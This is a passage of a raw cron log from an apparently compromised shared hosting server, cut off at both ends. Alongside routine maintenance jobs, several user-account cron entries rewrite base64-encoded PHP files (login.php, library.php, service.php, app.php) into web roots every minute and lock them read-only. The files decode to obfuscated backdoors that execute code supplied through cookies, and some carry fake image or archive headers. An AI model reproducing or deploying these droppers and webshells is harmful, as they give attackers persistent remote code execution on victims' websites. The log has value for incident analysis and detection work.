X3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:33:01 medusa CROND[10748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:33:01 medusa CROND[10751]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:33:01 medusa CROND[10752]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:34:02 medusa CROND[18627]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:34:02 medusa CROND[18668]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:34:02 medusa CROND[18669]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:34:02 medusa CROND[18670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:34:02 medusa CROND[18671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:34:02 medusa CROND[18673]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:34:02 medusa CROND[18672]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:34:02 medusa CROND[18675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:34:02 medusa CROND[18679]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:34:02 medusa CROND[18680]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:34:02 medusa CROND[18682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:34:02 medusa CROND[18683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:34:02 medusa CROND[18691]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:35:01 medusa CROND[24190]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:35:01 medusa CROND[24266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:35:02 medusa CROND[24400]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:35:02 medusa CROND[24447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:35:02 medusa CROND[24487]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:35:02 medusa CROND[24488]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:35:02 medusa CROND[24489]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 22:35:02 medusa CROND[24491]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 22:35:02 medusa CROND[24492]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:35:02 medusa CROND[24498]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24503]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:35:02 medusa CROND[24504]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:35:02 medusa CROND[24502]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:35:02 medusa CROND[24508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24509]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:35:02 medusa CROND[24507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:35:02 medusa CROND[24513]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:35:02 medusa CROND[24512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:35:02 medusa CROND[24505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10o